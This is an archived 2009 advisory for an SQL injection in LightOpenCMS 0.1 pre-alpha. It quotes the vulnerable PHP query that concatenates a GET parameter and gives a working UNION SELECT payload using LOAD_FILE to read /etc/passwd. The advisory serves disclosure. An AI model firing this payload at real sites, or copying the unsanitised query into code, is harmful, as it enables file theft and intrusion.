TUCoPS :: Web :: CMS / Portals :: bt-21090.htm

LightOpenCMS 0.1 pre-alpha Remote SQL Injection
LightOpenCMS 0.1 pre-alpha Remote SQL Injection
LightOpenCMS 0.1 pre-alpha Remote SQL Injection



--001636c5b3f6438f2a046b9a018d
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

********   Salvatore "drosophila" Fresta   ********

[+] Application: LightOpenCMS
[+] Version: 0.1 pre-alpha
[+] Website: http://sourceforge.net/projects/lightopencms 

[+] Bugs: [A] Remote SQL Injection

[+] Exploitation: Remote
[+] Date: 05 Jun 2009

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] Remote SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: dbc.php

This bug allows a guest to inject arbitrary SQL
statments.

...

if (isset($_GET['id'])) {
            $result = mysql_query("SELECT * FROM pages WHERE
id='".$_GET['id']."'");
            return mysql_fetch_assoc($result);

...


***************************************************

[+] Code


- [A] Remote SQL Injection

http://www.site.com/path/index.php?id=-1' UNION ALL SELECT 
1,2,LOAD_FILE('/etc/passwd'),4%23


***************************************************

[+] Fix

No fix.


***************************************************

-- 
Salvatore Fresta aka drosophila
CWNP444351

--001636c5b3f6438f2a046b9a018d
Content-Type: text/plain; charset=US-ASCII; 
	name="LightOpenCMS 0.1 pre-alpha Remote SQL Injection-05062009.txt"
Content-Disposition: attachment; 
	filename="LightOpenCMS 0.1 pre-alpha Remote SQL Injection-05062009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fvkxyopy0

KioqKioqKiogICBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZyZXN0YSAgICoqKioqKioqCgpbK10g
QXBwbGljYXRpb246IExpZ2h0T3BlbkNNUwpbK10gVmVyc2lvbjogMC4xIHByZS1hbHBoYQpbK10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KioqKioqKioqCgpbK10gQ29kZQoKCi0gW0FdIFJlbW90ZSBTUUwgSW5q
ZWN0aW9uCgpodHRwOi8vd3d3LnNpdGUuY29tL3BhdGgvaW5kZXgucGhwP2lkPS0xJyBVTklPTiBB
TEwgU0VMRUNUIDEsMixMT0FEX0ZJTEUoJy9ldGMvcGFzc3dkJyksNCUyMwoKCioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIEZpeAoKTm8gZml4
LgoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg=--001636c5b3f6438f2a046b9a018d--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH